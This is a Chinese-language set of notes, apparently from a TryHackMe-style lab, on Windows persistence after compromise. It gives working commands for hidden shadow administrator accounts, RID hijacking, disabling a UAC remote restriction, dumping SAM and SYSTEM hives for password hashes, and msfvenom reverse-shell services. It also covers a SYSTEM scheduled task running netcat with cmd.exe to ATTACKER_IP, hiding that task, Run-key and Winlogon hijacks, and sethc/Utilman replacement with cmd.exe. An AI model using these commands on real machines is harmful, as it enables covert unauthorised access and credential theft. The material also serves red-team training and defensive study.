攥改非特权用户
创建影子账户
在windows下,如果在用户名后面添加一个$
,那么通过net user
是看不见的
但是在管理界面中仍然能看到添加的用户
接下来创建影子账户
打开注注册表,找到
HKLM\SAM\SAM\Domains\Account\Users\Name
选中我们刚刚添加的用户,可以看到右侧的值是0x3f9
同理找到Administrator的是0x1f4
将3F9下F的值覆盖为1F4下F的值
然后从注册表中右键导出hacker$
以及3E9
然后通过 net user hacker$ /del
删除用户
然后再双击刚刚导出的两个reg文件导入注册表,影子账户就创建好了,该账户只能在注册表中看到
将账户加入Backup Operator组
将账户直接加入Administrator组会比较可疑, 可以将账户加入Backup Operators
组
net user "Backup Operators" xxx /add
由于这是一个非特权帐户,除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法通过 RDP 或 WinRM 返回计算机。
将用户加入WinRM组:
net localgroup "Remote Management Users" xxx /add
使用evil-winrm进行远程连接
evil-winrm -i ip -u username -p password
有时候会发现即使用户在Backup Operator
组也无对应的权限,且通过whoami /groups
可以看到该组被禁用,这是由于UAC实现的功能之一:LocalAccountTokenFilterPolicy
,它会在远程登录时剥夺本地帐户的管理权限
可以通过修改注册表来禁用LocalAccountTokenFilterPolicy
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
拥有Backup Operator
组的权限就可以备份SAM和SYSTEM文件
reg save HKLM\SAM
reg save HKLM\SYSTEM system.hive
使用secretsdump就可以获得所有用户的hash值
python3 secretsdump.py -sam /Users/xuxuan/sam.hive -system /Users/xuxuan/system.hive LOCAL
赋予账户SeBackupPrivilege和SeRestorePrivilege
除了将账户直接加入Backup Operator
组,还可以直接赋予账户该组的权限:
Backup Operator组的账户有两个特权:SeBackupPrivilege和SeBackupPrivilege
SeBackupPrivilege 用户可以忽略DACL,读取系统中的任何文件
SeRestorePrivilege 用户可以忽略DACL,向系统的任意位置写入文件
首先使用secdeit
命令,将当前配置导出到一个临时文件
secedit /export /cfg config.inf
再这两个权限后添加用户名或用户对应的SID即可
然后将 .inf 文件转换为 .sdb 文件,并将配置加载回系统:
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
但此时用户无法通过WinRM登录系统,此时可以更改与 WinRM 服务关联的安全描述符以允许 某个用户进行连接
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
这将打开一个GUI窗口,可以在其中添加该用户,并将FullControl改为Allow,然后即可使用WinRM进行登录
RID劫持
计算机中的每一个用户都具有一个SID(安全标志符)值,是标识用户、组和计算机帐户的唯一的号码。
可以通过以下命令查询用户的SID:
wmic useraccount get name,sid
或在PowerShell中使用Get-LocalUser
Get-LocalUser|Select-Object -Property Name,sid
RID即为SID的最后一部分,默认 Administrator 帐户的RID = 500,而普通用户通常 RID >= 1000
可以将某个用户的RID改为500以获得管理员权限,可以通过修改注册表中的SAM来完成该操作
而SAM仅限于SYSTEM账户,因此即使是管理员也无法对其编辑,可以使用psexec以SYSTEM权限运行Regedit
PsExec64.exe -i -s regedit
找到Computer\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
下对应的RID的用户(以RID=1010为例)
将F2 03
改为F4 01
(RID为小端序存储)
添加后门
添加后门服务
创建后门服务
msf生成马:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.27.118 LPORT=4444 -f exe-service -o test.exe
创建后门服务:
sc.exe create EvilService binPath= "C:\windows\rev-svc.exe" start= auto
启动后门服务:
sc.exe start EvilService
修改现有服务
获取可用的服务,例如得到THMService
然后通过sc.exe qc THMService
查询该服务的配置
通过
sc.exe config THMservice binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
重新配置BINARY_PATH_NAME,将其绑定到恶意文件
添加计划任务
创建计划任务
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
以上计划任务会每分钟执行一次
查看该计划任务
schtasks /query /tn thm-taskbackdoor
隐藏计划任务
所有计划任务的安全描述符都保存在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
中。会为每个任务找到一个注册表项,在该注册表项下名为“SD”的值包含安全描述符
删掉SD即可隐藏该计划任务
Startup目录
将马放入启动文件夹目录
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
如果想强制所有用户在登录时运行,可以放入
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
修改注册表强制系统启动时运行
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU 下的注册表项将仅适用于当前用户,而 HKLM 下的注册表项将适用于所有人。每次用户登录时,运行键下指定的任何程序都会运行。在 RunOnce 键下指定的程序将只执行一次。
HKCU 下的注册表项将仅适用于当前用户,而 HKLM 下的注册表项将适用于所有人。每次用户登录时,运行键下指定的任何程序都会运行。在 RunOnce 键下指定的程序将只执行一次。
winlogon
winlogon是一个在身份验证后立即加载用户配置文件的 Windows 组件
使用 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
下的一些注册表项
Userinit 指向 userinit.exe,它负责恢复用户配置文件
shell 指向系统的shell,通常是explorer.exe
可以在后面添加逗号拼上自己的马
SHIFT粘粘健后门
按 5 次 SHIFT 后,Windows 将执行 C:\Windows\System32\sethc.exe
中的二进制文件。
可以将cmd.exe替换sethc.exe
首先需要获取sethc.exe的所有权并赋予当前用户修改他的权限
takeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Utilman后门
Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项
其位置为C:\Windows\System32\Utilman.exe
也可以将其替换为cmd.exe